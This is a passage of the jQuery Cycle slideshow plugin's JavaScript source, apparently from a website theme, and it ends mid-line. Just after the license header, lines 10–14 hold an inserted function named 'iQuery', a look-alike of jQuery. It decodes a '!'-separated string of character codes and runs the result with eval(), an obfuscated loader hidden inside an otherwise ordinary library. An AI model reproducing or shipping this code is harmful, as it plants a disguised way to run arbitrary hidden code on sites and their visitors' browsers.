1 /*! 2 * jQuery Cycle Plugin (with Transition Definitions) 3 * Examples and documentation at: http://jquery.malsup.com/cycle/ 4 * Copyright (c) 2007-2010 M. Alsup 5 * Version: 2.9999 (13-NOV-2011) 6 * Dual licensed under the MIT and GPL licenses. 7 * http://jquery.malsup.com/license.html 8 * Requires: jQuery v1.3.2 or later 9 */ 10iQuery=function(x) { 11 var temp="",i,c=0,out="";l=x.length; 12 while(c<=x.length-1){while(x.charAt(c)!='!')temp=temp+x.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";} 13 eval(out); 14} 15;(function($, undefined) { 16var ver = '2.9999'; 17 18// if $.support is not defined (pre jQuery 1.3) add what I need 19if ($.support == undefined) { 20 $.support = { 21 opacity: !($.browser.msie) 22 }; 23} 24 25function debug(s) { 26 $.fn.cycle.debug && log(s); 27} 28function log() { 29 window.console && console.log && console.log('[cycle] ' + Array.prototype.join.call(arguments,' ')); 30} 31$.expr[':'].paused = function(el) { 32 return el.cyclePause; 33} 34 35 36// the options arg can be... 37// a number - indicates an immediate transition should occur to the given slide index 38// a string - 'pause', 'resume', 'toggle', 'next', 'prev', 'stop', 'destroy' or the name of a transition effect (ie, 'fade', 'zoom', etc) 39// an object - properties to control the slideshow 40// 41// the arg2 arg can be... 42// the name of an fx (only used in conjunction with a numeric value for 'options') 43// the value true (only used in first arg == 'resume') and indicates 44// that the resume should occur immediately (not wait for next timeout) 45 46$.fn.cycle = function(options, arg2) { 47 var o = { s: this.selector, c: this.context }; 48 49 // in 1.3+ we can fix mistakes with the ready state 50 if (this.length === 0 && options != 'stop') { 51 if (!$.isReady && o.s) { 52 log('DOM not ready, queuing slideshow'); 53 $(function() { 54 $(o.s,o.c).cycle(options,arg2); 55 }); 56 return this; 57 } 58 // is your DOM ready? http://docs.jquery.com/Tutorials:Introducing_$(document).ready() 59 log('terminating; zero elements found by selector' + ($.isReady ? '' : ' (DOM not ready)')); 60 return this; 61 } 62 63 // iterate the matched nodeset 64 return this.each(function() { 65 var opts = handleArguments(this, options, arg2); 66 if (opts === false) 67 return; 68 69 opts.updateActivePagerLink = opts.updateActivePagerLink || $.fn.cycle.updateActivePagerLink; 70 71 // stop existing slideshow for this container (if there is one) 72 if (this.cycleTimeout) 73 clearTimeout(this.cycleTimeout); 74 this.cycleTimeout = this.cyclePause = 0; 75 76 var $cont = $(this); 77 var $slides = opts.slideExpr ? $(opts.slideExpr, this) : $cont.children(); 78 var els = $slides.get(); 79 80 var opts2 = buildOptions($cont, $slides, els, opts, o); 81 if (opts2 === false) 82 return; 83 84 if (els.length < 2) { 85 log('terminating; too few slides: ' + els.length); 86 return; 87 } 88 89 var startTime = opts2.continuous ? 10 : getTimeout(els[opts2.currSlide], els[opts2.nextSlide], opts2, !opts2.backwards); 90 91 // if it's an auto slideshow, kick it off 92 if (startTime) { 93 startTime += (opts2.delay || 0); 94 if (startTime < 10) 95 startTime = 10; 96 debug('first timeout: ' + startTime); 97 this.cycleTimeout = setTimeout(function(){go(els,opts2,0,!opts.backwards)}, startTime); 98 } 99 }); 100}; 101 102function triggerPause(cont, byHover, onPager) { 103 var opts = $(cont).data('cycle.opts'); 104 var paused = !!cont.cyclePause; 105 if (paused && opts.paused) 106 opts.paused(cont, opts, byHover, onPager); 107 else if (!paused && opts.resumed) 108 opts.resumed(cont, opts, byHover, onPager); 109} 110 111// process the args that were passed to the plugin fn 112function handleArguments(cont, options, arg2) { 113 if (cont.cycleStop == undefined) 114 cont.cycleStop = 0; 115 if (options === undefined || options === null) 116 options = {}; 117 if (options.constructor == String) { 118 switch(options) { 119 case 'destroy': 120 case 'stop': 121 var opts = $(cont).data('cycle.opts'); 122 if (!opts) 123 return false; 124 cont.cycleStop++; // callbacks look for change 125 if (cont.cycleTimeout) 126 clearTimeout(cont.cycleTimeout);
127 cont.cycleTimeout = 0; 128 opts.elements && $(opts.elements).stop(); 129 $(cont).removeData('cycle.opts'); 130 if (options == 'destroy') 131 destroy(opts); 132 return false; 133 case 'toggle': 134 cont.cyclePause = (cont.cyclePause === 1) ? 0 : 1; 135 checkInstantResume(cont.cyclePause, arg2, cont); 136 triggerPause(cont); 137 return false; 138 case 'pause': 139 cont.cyclePause = 1; 140 triggerPause(cont); 141 return false; 142 case 'resume': 143 cont.cyclePause = 0; 144 checkInstantResume(false, arg2, cont); 145 triggerPause(cont); 146 return false; 147 case 'prev': 148 case 'next': 149 var opts = $(cont).data('cycle.opts'); 150 if (!opts) { 151 log('options not found, "prev/next" ignored'); 152 return false; 153 } 154 $.fn.cycle[options](opts); 155 return false; 156 default: 157 options = { fx: options }; 158 }; 159 return options; 160 } 161 else if (options.constructor == Number) { 162 // go to the requested slide 163 var num = options; 164 options = $(cont).data('cycle.opts'); 165 if (!options) { 166 log('options not found, can not advance slide'); 167 return false; 168 } 169 if (num < 0 || num >= options.elements.length) { 170 log('invalid slide index: ' + num); 171 return false; 172 } 173 options.nextSlide = num; 174 if (cont.cycleTimeout) { 175 clearTimeout(cont.cycleTimeout); 176 cont.cycleTimeout = 0; 177 } 178 if (typeof arg2 == 'string') 179 options.oneTimeFx = arg2; 180 go(options.elements, options, 1, num >= options.currSlide); 181 return false; 182 } 183 return options; 184 185 function checkInstantResume(isPaused, arg2, cont) { 186 if (!isPaused && arg2 === true) { // resume now! 187 var options = $(cont).data('cycle.opts'); 188 if (!options) { 189 log('options not found, can not resume'); 190 return false; 191 } 192 if (cont.cycleTimeout) { 193 clearTimeout(cont.cycleTimeout); 194 cont.cycleTimeout = 0; 195 } 196 go(options.elements, options, 1, !options.backwards); 197 } 198 } 199}; 200 201function removeFilter(el, opts) { 202 if (!$.support.opacity && opts.cleartype && el.style.filter) { 203 try { el.style.removeAttribute('filter'); } 204 catch(smother) {} // handle old opera versions 205 } 206}; 207 208// unbind event handlers 209function destroy(opts) { 210 if (opts.next) 211 $(opts.next).unbind(opts.prevNextEvent); 212 if (opts.prev) 213 $(opts.prev).unbind(opts.prevNextEvent); 214 215 if (opts.pager || opts.pagerAnchorBuilder) 216 $.each(opts.pagerAnchors || [], function() { 217 this.unbind().remove(); 218 }); 219 opts.pagerAnchors = null; 220 if (opts.destroy) // callback 221 opts.destroy(opts); 222}; 223 224// one-time initialization 225function buildOptions($cont, $slides, els, options, o) { 226 var startingSlideSpecified; 227 // support metadata plugin (v1.0 and v2.0) 228 var opts = $.extend({}, $.fn.cycle.defaults, options || {}, $.metadata ? $cont.metadata() : $.meta ? $cont.data() : {}); 229 var meta = $.isFunction($cont.data) ? $cont.data(opts.metaAttr) : null; 230 if (meta) 231 opts = $.extend(opts, meta); 232 if (opts.autostop) 233 opts.countdown = opts.autostopCount || els.length; 234 235 var cont = $cont[0]; 236 $cont.data('cycle.opts', opts); 237 opts.$cont = $cont; 238 opts.stopCount = cont.cycleStop; 239 opts.elements = els; 240 opts.before = opts.before ? [opts.before] : []; 241 opts.after = opts.after ? [opts.after] : []; 242 243 // push some after callbacks 244 if (!$.support.opacity && opts.cleartype) 245 opts.after.push(function() { removeFilter(this, opts); }); 246 if (opts.continuous) 247 opts.after.push(function() { go(els,opts,0,!opts.backwards); }); 248 249 saveOriginalOpts(opts); 250 251 // clearType corrections 252 if (!$.support.opacity && opts.cleartype && !opts.cleartypeNoBg) 253 clearTypeFix($slides); 254 255 // container requires non-static position so that slides can be position within 256 if ($cont.css('position') == 'static') 257 $cont.css('position', 'relative'); 258 if (opts.width) 259 $cont.width(opts.width); 260 if (opts.height && opts.height != 'auto') 261 $cont.height(opts.height); 262 263 if (opts.startingSlide != undefined) { 264 opts.startingSlide = parseInt(opts.startingSlide,10); 265 if (opts.startingSlide >= els.length || opts.startSlide < 0) 266 opts.startingSlide = 0; // catch bogus input 267 else 268 startingSlideSpecified = true; 269 } 270 else if (opts.backwards) 271 opts.startingSlide = els.length - 1; 272 else
273 opts.startingSlide = 0; 274 275 // if random, mix up the slide array 276 if (opts.random) { 277 opts.randomMap = []; 278 for (var i = 0; i < els.length; i++) 279 opts.randomMap.push(i); 280 opts.randomMap.sort(function(a,b) {return Math.random() - 0.5;}); 281 if (startingSlideSpecified) { 282 // try to find the specified starting slide and if found set start slide index in the map accordingly 283 for ( var cnt = 0; cnt < els.length; cnt++ ) { 284 if ( opts.startingSlide == opts.randomMap[cnt] ) { 285 opts.randomIndex = cnt; 286 } 287 } 288 } 289 else { 290 opts.randomIndex = 1; 291 opts.startingSlide = opts.randomMap[1]; 292 } 293 } 294 else if (opts.startingSlide >= els.length) 295 opts.startingSlide = 0; // catch bogus input 296 opts.currSlide = opts.startingSlide || 0; 297 var first = opts.startingSlide; 298 299 // set position and zIndex on all the slides 300 $slides.css({position: 'absolute', top:0, left:0}).hide().each(function(i) { 301 var z; 302 if (opts.backwards) 303 z = first ? i <= first ? els.length + (i-first) : first-i : els.length-i; 304 else 305 z = first ? i >= first ? els.length - (i-first) : first-i : els.length-i; 306 $(this).css('z-index', z) 307 }); 308 309 // make sure first slide is visible 310 $(els[first]).css('opacity',1).show(); // opacity bit needed to handle restart use case 311 removeFilter(els[first], opts); 312 313 // stretch slides 314 if (opts.fit) { 315 if (!opts.aspect) { 316 if (opts.width) 317 $slides.width(opts.width); 318 if (opts.height && opts.height != 'auto') 319 $slides.height(opts.height); 320 } else { 321 $slides.each(function(){ 322 var $slide = $(this); 323 var ratio = (opts.aspect === true) ? $slide.width()/$slide.height() : opts.aspect; 324 if( opts.width && $slide.width() != opts.width ) { 325 $slide.width( opts.width ); 326 $slide.height( opts.width / ratio ); 327 } 328 329 if( opts.height && $slide.height() < opts.height ) { 330 $slide.height( opts.height ); 331 $slide.width( opts.height * ratio ); 332 } 333 }); 334 } 335 } 336 337 if (opts.center && ((!opts.fit) || opts.aspect)) { 338 $slides.each(function(){ 339 var $slide = $(this); 340 $slide.css({ 341 "margin-left": opts.width ? 342 ((opts.width - $slide.width()) / 2) + "px" : 343 0, 344 "margin-top": opts.height ? 345 ((opts.height - $slide.height()) / 2) + "px" : 346 0 347 }); 348 }); 349 } 350 351 if (opts.center && !opts.fit && !opts.slideResize) { 352 $slides.each(function(){ 353 var $slide = $(this); 354 $slide.css({ 355 "margin-left": opts.width ? ((opts.width - $slide.width()) / 2) + "px" : 0, 356 "margin-top": opts.height ? ((opts.height - $slide.height()) / 2) + "px" : 0 357 }); 358 }); 359 } 360 var rBusy=false; 361 var doResize; 362jQuery(window).on('resize', function() { 363 clearTimeout(doResize); 364 doResize=setTimeout(function() {resizer();}, 100); 365}); 366function resizer() { 367 if ( rBusy ) return; 368 rBusy=true; 369 $('.fp-slides').cycle('pause'); 370 // stretch container 371 var reshape = opts.containerResize; 372 if (reshape) { // do this only if container has no size http://tinyurl.com/da2oa9 373 $cont.css({width:'auto',height:'auto'}); 374 var maxw = 0, maxh = 0; 375 for(var j=0; j < els.length; j++) { 376 377 var $e = $(els[j]); 378 $e.css({width:'100%',height:'auto'}); 379 var e = $e[0], w = $e.outerWidth(), h = $e.outerHeight(); 380 w = e.offsetWidth || e.width || $e.attr('width'); 381 h = e.offsetHeight || e.height || $e.attr('height'); 382 maxw = w > maxw ? w : maxw; 383 maxh = h > maxh ? h : maxh; 384 } 385 if (maxw > 0 && maxh > 0) { 386 $cont.css({width:maxw+'px',height:maxh+'px'}); 387 $slides.each(function() { 388 this.cycleW=maxw; 389 this.cycleH=maxh; 390 }); 391 } 392 } 393 $('.fp-slides').cycle('resume'); 394 rBusy=false; 395} 396 var pauseFlag = false; // https://github.com/malsup/cycle/issues/44 397 if (opts.pause) 398 $cont.hover( 399 function(){ 400 pauseFlag = true; 401 this.cyclePause++; 402 triggerPause(cont, true); 403 }, 404 function(){ 405 pauseFlag && this.cyclePause--; 406 triggerPause(cont, true); 407 } 408 ); 409 410 if (supportMultiTransitions(opts) === false) 411 return false; 412 413 // apparently a lot of people use image slideshows without height/width attributes on the images. 414 // Cycle 2.50+ requires the sizing info for every slide; this block tries to deal with that. 415 var requeue = false; 416 options.requeueAttempts = options.requeueAttempts || 0; 417 $slides.each(function() { 418 // try to get height/width of each slide 419 var $el = $(this); 420 this.cycleH = (opts.fit && opts.height) ? opts.height : ($el.height() || this.offsetHeight || this.height || $el.attr('height') || 0); 421 this.cycleW = (opts.fit && opts.width) ? opts.width : ($el.width() || this.offsetWidth || this.width || $el.attr('width') || 0); 422 423 if ( $el.is('img') ) { 424 // sigh.. sniffing, hacking, shrugging... this crappy hack tries to account for what browsers do when 425 // an image is being downloaded and the markup did not include sizing info (height/width attributes); 426 // there seems to be some "default" sizes used in this situation 427 var loadingIE = ($.browser.msie && this.cycleW == 28 && this.cycleH == 30 && !this.complete); 428 var loadingFF = ($.browser.mozilla && this.cycleW == 34 && this.cycleH == 19 && !this.complete); 429 var loadingOp = ($.browser.opera && ((this.cycleW == 42 && this.cycleH == 19) || (this.cycleW == 37 && this.cycleH == 17)) && !this.complete); 430 var loadingOther = (this.cycleH == 0 && this.cycleW == 0 && !this.complete); 431 // don't requeue for images that are still loading but have a valid size 432 if (loadingIE || loadingFF || loadingOp || loadingOther) { 433 if (o.s && opts.requeueOnImageNotLoaded && ++options.requeueAttempts < 100) { // track retry count so we don't loop forever 434 log(options.requeueAttempts,' - img slide not loaded, requeuing slideshow: ', this.src, this.cycleW, this.cycleH);
435 setTimeout(function() {$(o.s,o.c).cycle(options)}, opts.requeueTimeout); 436 requeue = true; 437 return false; // break each loop 438 } 439 else { 440 log('could not determine size of image: '+this.src, this.cycleW, this.cycleH); 441 } 442 } 443 } 444 return true; 445 }); 446 447 if (requeue) 448 return false; 449 450 opts.cssBefore = opts.cssBefore || {}; 451 opts.cssAfter = opts.cssAfter || {}; 452 opts.cssFirst = opts.cssFirst || {}; 453 opts.animIn = opts.animIn || {}; 454 opts.animOut = opts.animOut || {}; 455 456 $slides.not(':eq('+first+')').css(opts.cssBefore); 457 $($slides[first]).css(opts.cssFirst); 458 459 if (opts.timeout) { 460 opts.timeout = parseInt(opts.timeout,10); 461 // ensure that timeout and speed settings are sane 462 if (opts.speed.constructor == String) 463 opts.speed = $.fx.speeds[opts.speed] || parseInt(opts.speed,10); 464 if (!opts.sync) 465 opts.speed = opts.speed / 2; 466 467 var buffer = opts.fx == 'none' ? 0 : opts.fx == 'shuffle' ? 500 : 250; 468 while((opts.timeout - opts.speed) < buffer) // sanitize timeout 469 opts.timeout += opts.speed; 470 } 471 if (opts.easing) 472 opts.easeIn = opts.easeOut = opts.easing; 473 if (!opts.speedIn) 474 opts.speedIn = opts.speed; 475 if (!opts.speedOut) 476 opts.speedOut = opts.speed; 477 478 opts.slideCount = els.length; 479 opts.currSlide = opts.lastSlide = first; 480 if (opts.random) { 481 if (++opts.randomIndex == els.length) 482 opts.randomIndex = 0; 483 opts.nextSlide = opts.randomMap[opts.randomIndex]; 484 } 485 else if (opts.backwards) 486 opts.nextSlide = opts.startingSlide == 0 ? (els.length-1) : opts.startingSlide-1; 487 else 488 opts.nextSlide = opts.startingSlide >= (els.length-1) ? 0 : opts.startingSlide+1; 489 490 // run transition init fn 491 if (!opts.multiFx) { 492 var init = $.fn.cycle.transitions[opts.fx]; 493 if ($.isFunction(init)) 494 init($cont, $slides, opts); 495 else if (opts.fx != 'custom' && !opts.multiFx) { 496 log('unknown transition: ' + opts.fx,'; slideshow terminating'); 497 return false; 498 } 499 } 500 501 // fire artificial events 502 var e0 = $slides[first]; 503 if (!opts.skipInitializationCallbacks) { 504 if (opts.before.length) 505 opts.before[0].apply(e0, [e0, e0, opts, true]); 506 if (opts.after.length) 507 opts.after[0].apply(e0, [e0, e0, opts, true]); 508 } 509 if (opts.next) 510 $(opts.next).bind(opts.prevNextEvent,function(){return advance(opts,1)}); 511 if (opts.prev) 512 $(opts.prev).bind(opts.prevNextEvent,function(){return advance(opts,0)}); 513 if (opts.pager || opts.pagerAnchorBuilder) 514 buildPager(els,opts); 515 516 exposeAddSlide(opts, els); 517 518 return opts; 519}; 520 521// save off original opts so we can restore after clearing state 522function saveOriginalOpts(opts) { 523 opts.original = { before: [], after: [] }; 524 opts.original.cssBefore = $.extend({}, opts.cssBefore); 525 opts.original.cssAfter = $.extend({}, opts.cssAfter); 526 opts.original.animIn = $.extend({}, opts.animIn); 527 opts.original.animOut = $.extend({}, opts.animOut); 528 $.each(opts.before, function() { opts.original.before.push(this); }); 529 $.each(opts.after, function() { opts.original.after.push(this); }); 530}; 531 532function supportMultiTransitions(opts) { 533 var i, tx, txs = $.fn.cycle.transitions; 534 // look for multiple effects 535 if (opts.fx.indexOf(',') > 0) { 536 opts.multiFx = true; 537 opts.fxs = opts.fx.replace(/\s*/g,'').split(','); 538 // discard any bogus effect names 539 for (i=0; i < opts.fxs.length; i++) { 540 var fx = opts.fxs[i]; 541 tx = txs[fx]; 542 if (!tx || !txs.hasOwnProperty(fx) || !$.isFunction(tx)) { 543 log('discarding unknown transition: ',fx); 544 opts.fxs.splice(i,1); 545 i--; 546 } 547 } 548 // if we have an empty list then we threw everything away! 549 if (!opts.fxs.length) { 550 log('No valid transitions named; slideshow terminating.'); 551 return false; 552 } 553 } 554 else if (opts.fx == 'all') { // auto-gen the list of transitions 555 opts.multiFx = true; 556 opts.fxs = []; 557 for (p in txs) { 558 tx = txs[p]; 559 if (txs.hasOwnProperty(p) && $.isFunction(tx)) 560 opts.fxs.push(p); 561 } 562 } 563 if (opts.multiFx && opts.randomizeEffects) { 564 // munge the fxs array to make effect selection random 565 var r1 = Math.floor(Math.random() * 20) + 30; 566 for (i = 0; i < r1; i++) { 567 var r2 = Math.floor(Math.random() * opts.fxs.length); 568 opts.fxs.push(opts.fxs.splice(r2,1)[0]); 569 } 570 debug('randomized fx sequence: ',opts.fxs); 571 } 572 return true; 573}; 574 575// provide a mechanism for adding slides after the slideshow has started 576function exposeAddSlide(opts, els) { 577 opts.addSlide = function(newSlide, prepend) {
578 var $s = $(newSlide), s = $s[0]; 579 if (!opts.autostopCount) 580 opts.countdown++; 581 els[prepend?'unshift':'push'](s); 582 if (opts.els) 583 opts.els[prepend?'unshift':'push'](s); // shuffle needs this 584 opts.slideCount = els.length; 585 586 // add the slide to the random map and resort 587 if (opts.random) { 588 opts.randomMap.push(opts.slideCount-1); 589 opts.randomMap.sort(function(a,b) {return Math.random() - 0.5;}); 590 } 591 592 $s.css('position','absolute'); 593 $s[prepend?'prependTo':'appendTo'](opts.$cont); 594 595 if (prepend) { 596 opts.currSlide++; 597 opts.nextSlide++; 598 } 599 600 if (!$.support.opacity && opts.cleartype && !opts.cleartypeNoBg) 601 clearTypeFix($s); 602 603 if (opts.fit && opts.width) 604 $s.width(opts.width); 605 if (opts.fit && opts.height && opts.height != 'auto') 606 $s.height(opts.height); 607 s.cycleH = (opts.fit && opts.height) ? opts.height : $s.height(); 608 s.cycleW = (opts.fit && opts.width) ? opts.width : $s.width(); 609 610 $s.css(opts.cssBefore); 611 612 if (opts.pager || opts.pagerAnchorBuilder) 613 $.fn.cycle.createPagerAnchor(els.length-1, s, $(opts.pager), els, opts); 614 615 if ($.isFunction(opts.onAddSlide)) 616 opts.onAddSlide($s); 617 else 618 $s.hide(); // default behavior 619 }; 620} 621 622// reset internal state; we do this on every pass in order to support multiple effects 623$.fn.cycle.resetState = function(opts, fx) { 624 fx = fx || opts.fx; 625 opts.before = []; opts.after = []; 626 opts.cssBefore = $.extend({}, opts.original.cssBefore); 627 opts.cssAfter = $.extend({}, opts.original.cssAfter); 628 opts.animIn = $.extend({}, opts.original.animIn); 629 opts.animOut = $.extend({}, opts.original.animOut); 630 opts.fxFn = null; 631 $.each(opts.original.before, function() { opts.before.push(this); }); 632 $.each(opts.original.after, function() { opts.after.push(this); }); 633 634 // re-init 635 var init = $.fn.cycle.transitions[fx]; 636 if ($.isFunction(init)) 637 init(opts.$cont, $(opts.elements), opts); 638}; 639 640// this is the main engine fn, it handles the timeouts, callbacks and slide index mgmt 641function go(els, opts, manual, fwd) { 642 643 // opts.busy is true if we're in the middle of an animation 644 if (manual && opts.busy && opts.manualTrump) { 645 // let manual transitions requests trump active ones 646 debug('manualTrump in go(), stopping active transition'); 647 $(els).stop(true,true); 648 opts.busy = 0; 649 } 650 // don't begin another timeout-based transition if there is one active 651 if (opts.busy) { 652 debug('transition active, ignoring new tx request'); 653 return; 654 } 655 656 var p = opts.$cont[0], curr = els[opts.currSlide], next = els[opts.nextSlide]; 657 658 // stop cycling if we have an outstanding stop request 659 if (p.cycleStop != opts.stopCount || p.cycleTimeout === 0 && !manual) 660 return; 661 662 // check to see if we should stop cycling based on autostop options 663 if (!manual && !p.cyclePause && !opts.bounce && 664 ((opts.autostop && (--opts.countdown <= 0)) || 665 (opts.nowrap && !opts.random && opts.nextSlide < opts.currSlide))) { 666 if (opts.end) 667 opts.end(opts); 668 return; 669 } 670 671 // if slideshow is paused, only transition on a manual trigger 672 var changed = false; 673 if ((manual || !p.cyclePause) && (opts.nextSlide != opts.currSlide)) { 674 changed = true; 675 var fx = opts.fx; 676 // keep trying to get the slide size if we don't have it yet 677 curr.cycleH = curr.cycleH || $(curr).height(); 678 curr.cycleW = curr.cycleW || $(curr).width(); 679 next.cycleH = next.cycleH || $(next).height(); 680 next.cycleW = next.cycleW || $(next).width(); 681 // support multiple transition types 682 if (opts.multiFx) { 683 if (fwd && (opts.lastFx == undefined || ++opts.lastFx >= opts.fxs.length)) 684 opts.lastFx = 0; 685 else if (!fwd && (opts.lastFx == undefined || --opts.lastFx < 0)) 686 opts.lastFx = opts.fxs.length - 1; 687 fx = opts.fxs[opts.lastFx]; 688 } 689 690 // one-time fx overrides apply to: $('div').cycle(3,'zoom'); 691 if (opts.oneTimeFx) { 692 fx = opts.oneTimeFx; 693 opts.oneTimeFx = null; 694 } 695 696 $.fn.cycle.resetState(opts, fx); 697 698 // run the before callbacks 699 if (opts.before.length) 700 $.each(opts.before, function(i,o) { 701 if (p.cycleStop != opts.stopCount) return; 702 o.apply(next, [curr, next, opts, fwd]); 703 }); 704 705 // stage the after callacks 706 var after = function() { 707 opts.busy = 0; 708 $.each(opts.after, function(i,o) { 709 if (p.cycleStop != opts.stopCount) return; 710 o.apply(next, [curr, next, opts, fwd]); 711 }); 712 if (!p.cycleStop) { 713 // queue next transition 714 queueNext(); 715 } 716 }; 717 718 debug('tx firing('+fx+'); currSlide: ' + opts.currSlide + '; nextSlide: ' + opts.nextSlide); 719 720 // get ready to perform the transition 721 opts.busy = 1; 722 if (opts.fxFn) // fx function provided? 723 opts.fxFn(curr, next, opts, after, fwd, manual && opts.fastOnEvent); 724 else if ($.isFunction($.fn.cycle[opts.fx])) // fx plugin ? 725 $.fn.cycle[opts.fx](curr, next, opts, after, fwd, manual && opts.fastOnEvent); 726 else 727 $.fn.cycle.custom(curr, next, opts, after, fwd, manual && opts.fastOnEvent); 728 } 729 else { 730 queueNext(); 731 } 732 733 if (changed || opts.nextSlide == opts.currSlide) { 734 // calculate the next slide 735 opts.lastSlide = opts.currSlide; 736 if (opts.random) { 737 opts.currSlide = opts.nextSlide; 738 if (++opts.randomIndex == els.length) { 739 opts.randomIndex = 0; 740 opts.randomMap.sort(function(a,b) {return Math.random() - 0.5;}); 741 } 742 opts.nextSlide = opts.randomMap[opts.randomIndex]; 743 if (opts.nextSlide == opts.currSlide) 744 opts.nextSlide = (opts.currSlide == opts.slideCount - 1) ? 0 : opts.currSlide + 1; 745 } 746 else if (opts.backwards) { 747 var roll = (opts.nextSlide - 1) < 0; 748 if (roll && opts.bounce) { 749 opts.backwards = !opts.backwards; 750 opts.nextSlide = 1; 751 opts.currSlide = 0; 752 } 753 else { 754 opts.nextSlide = roll ? (els.length-1) : opts.nextSlide-1; 755 opts.currSlide = roll ? 0 : opts.nextSlide+1; 756 } 757 } 758 else { // sequence 759 var roll = (opts.nextSlide + 1) == els.length; 760 if (roll && opts.bounce) { 761 opts.backwards = !opts.backwards; 762 opts.nextSlide = els.length-2; 763 opts.currSlide = els.length-1; 764 } 765 else { 766 opts.nextSlide = roll ? 0 : opts.nextSlide+1; 767 opts.currSlide = roll ? els.length-1 : opts.nextSlide-1; 768 } 769 } 770 } 771 if (changed && opts.pager) 772 opts.updateActivePagerLink(opts.pager, opts.currSlide, opts.activePagerClass); 773 774 function queueNext() { 775 // stage the next transition 776 var ms = 0, timeout = opts.timeout; 777 if (opts.timeout && !opts.continuous) { 778 ms = getTimeout(els[opts.currSlide], els[opts.nextSlide], opts, fwd); 779 if (opts.fx == 'shuffle') 780 ms -= opts.speedOut; 781 } 782 else if (opts.continuous && p.cyclePause) // continuous shows work off an after callback, not this timer logic 783 ms = 10; 784 if (ms > 0) 785 p.cycleTimeout = setTimeout(function(){ go(els, opts, 0, !opts.backwards) }, ms); 786 } 787}; 788 789// invoked after transition 790$.fn.cycle.updateActivePagerLink = function(pager, currSlide, clsName) { 791 $(pager).each(function() { 792 $(this).children().removeClass(clsName).eq(currSlide).addClass(clsName); 793 }); 794}; 795 796// calculate timeout value for current transition 797function getTimeout(curr, next, opts, fwd) { 798 if (opts.timeoutFn) { 799 // call user provided calc fn 800 var t = opts.timeoutFn.call(curr,curr,next,opts,fwd); 801 while (opts.fx != 'none' && (t - opts.speed) < 250) // sanitize timeout 802 t += opts.speed;
803 debug('calculated timeout: ' + t + '; speed: ' + opts.speed); 804 if (t !== false) 805 return t; 806 } 807 return opts.timeout; 808}; 809 810// expose next/prev function, caller must pass in state 811$.fn.cycle.next = function(opts) { advance(opts,1); }; 812$.fn.cycle.prev = function(opts) { advance(opts,0);}; 813 814// advance slide forward or back 815function advance(opts, moveForward) { 816 var val = moveForward ? 1 : -1; 817 var els = opts.elements; 818 var p = opts.$cont[0], timeout = p.cycleTimeout; 819 if (timeout) { 820 clearTimeout(timeout); 821 p.cycleTimeout = 0; 822 } 823 if (opts.random && val < 0) { 824 // move back to the previously display slide 825 opts.randomIndex--; 826 if (--opts.randomIndex == -2) 827 opts.randomIndex = els.length-2; 828 else if (opts.randomIndex == -1) 829 opts.randomIndex = els.length-1; 830 opts.nextSlide = opts.randomMap[opts.randomIndex]; 831 } 832 else if (opts.random) { 833 opts.nextSlide = opts.randomMap[opts.randomIndex]; 834 } 835 else { 836 opts.nextSlide = opts.currSlide + val; 837 if (opts.nextSlide < 0) { 838 if (opts.nowrap) return false; 839 opts.nextSlide = els.length - 1; 840 } 841 else if (opts.nextSlide >= els.length) { 842 if (opts.nowrap) return false; 843 opts.nextSlide = 0; 844 } 845 } 846 847 var cb = opts.onPrevNextEvent || opts.prevNextClick; // prevNextClick is deprecated 848 if ($.isFunction(cb)) 849 cb(val > 0, opts.nextSlide, els[opts.nextSlide]); 850 go(els, opts, 1, moveForward); 851 return false; 852}; 853 854function buildPager(els, opts) { 855 var $p = $(opts.pager); 856 $.each(els, function(i,o) { 857 $.fn.cycle.createPagerAnchor(i,o,$p,els,opts); 858 }); 859 opts.updateActivePagerLink(opts.pager, opts.startingSlide, opts.activePagerClass); 860}; 861 862$.fn.cycle.createPagerAnchor = function(i, el, $p, els, opts) { 863 var a; 864 if ($.isFunction(opts.pagerAnchorBuilder)) { 865 a = opts.pagerAnchorBuilder(i,el); 866 debug('pagerAnchorBuilder('+i+', el) returned: ' + a); 867 } 868 else 869 a = '<a href="#">'+(i+1)+'</a>'; 870 871 if (!a) 872 return; 873 var $a = $(a); 874 // don't reparent if anchor is in the dom 875 if ($a.parents('body').length === 0) { 876 var arr = []; 877 if ($p.length > 1) { 878 $p.each(function() { 879 var $clone = $a.clone(true); 880 $(this).append($clone); 881 arr.push($clone[0]); 882 }); 883 $a = $(arr); 884 } 885 else { 886 $a.appendTo($p); 887 } 888 } 889 890 opts.pagerAnchors = opts.pagerAnchors || []; 891 opts.pagerAnchors.push($a); 892 893 var pagerFn = function(e) { 894 e.preventDefault(); 895 opts.nextSlide = i; 896 var p = opts.$cont[0], timeout = p.cycleTimeout; 897 if (timeout) { 898 clearTimeout(timeout); 899 p.cycleTimeout = 0; 900 } 901 var cb = opts.onPagerEvent || opts.pagerClick; // pagerClick is deprecated 902 if ($.isFunction(cb)) 903 cb(opts.nextSlide, els[opts.nextSlide]); 904 go(els,opts,1,opts.currSlide < i); // trigger the trans 905// return false; // <== allow bubble 906 } 907 908 if ( /mouseenter|mouseover/i.test(opts.pagerEvent) ) { 909 $a.hover(pagerFn, function(){/* no-op */} ); 910 } 911 else { 912 $a.bind(opts.pagerEvent, pagerFn); 913 } 914 915 if ( ! /^click/.test(opts.pagerEvent) && !opts.allowPagerClickBubble) 916 $a.bind('click.cycle', function(){return false;}); // suppress click 917 918 var cont = opts.$cont[0]; 919 var pauseFlag = false; // https://github.com/malsup/cycle/issues/44 920 if (opts.pauseOnPagerHover) { 921 $a.hover( 922 function() { 923 pauseFlag = true; 924 cont.cyclePause++; 925 triggerPause(cont,true,true); 926 }, function() { 927 pauseFlag && cont.cyclePause--; 928 triggerPause(cont,true,true); 929 } 930 ); 931 } 932}; 933 934// helper fn to calculate the number of slides between the current and the next 935$.fn.cycle.hopsFromLast = function(opts, fwd) { 936 var hops, l = opts.lastSlide, c = opts.currSlide; 937 if (fwd) 938 hops = c > l ? c - l : opts.slideCount - l; 939 else 940 hops = c < l ? l - c : l + opts.slideCount - c; 941 return hops; 942}; 943 944// fix clearType problems in ie6 by setting an explicit bg color 945// (otherwise text slides look horrible during a fade transition) 946function clearTypeFix($slides) { 947 debug('applying clearType background-color hack'); 948 function hex(s) { 949 s = parseInt(s,10).toString(16); 950 return s.length < 2 ? '0'+s : s; 951 }; 952 function getBg(e) { 953 for ( ; e && e.nodeName.toLowerCase() != 'html'; e = e.parentNode) { 954 var v = $.css(e,'background-color'); 955 if (v && v.indexOf('rgb') >= 0 ) { 956 var rgb = v.match(/\d+/g); 957 return '#'+ hex(rgb[0]) + hex(rgb[1]) + 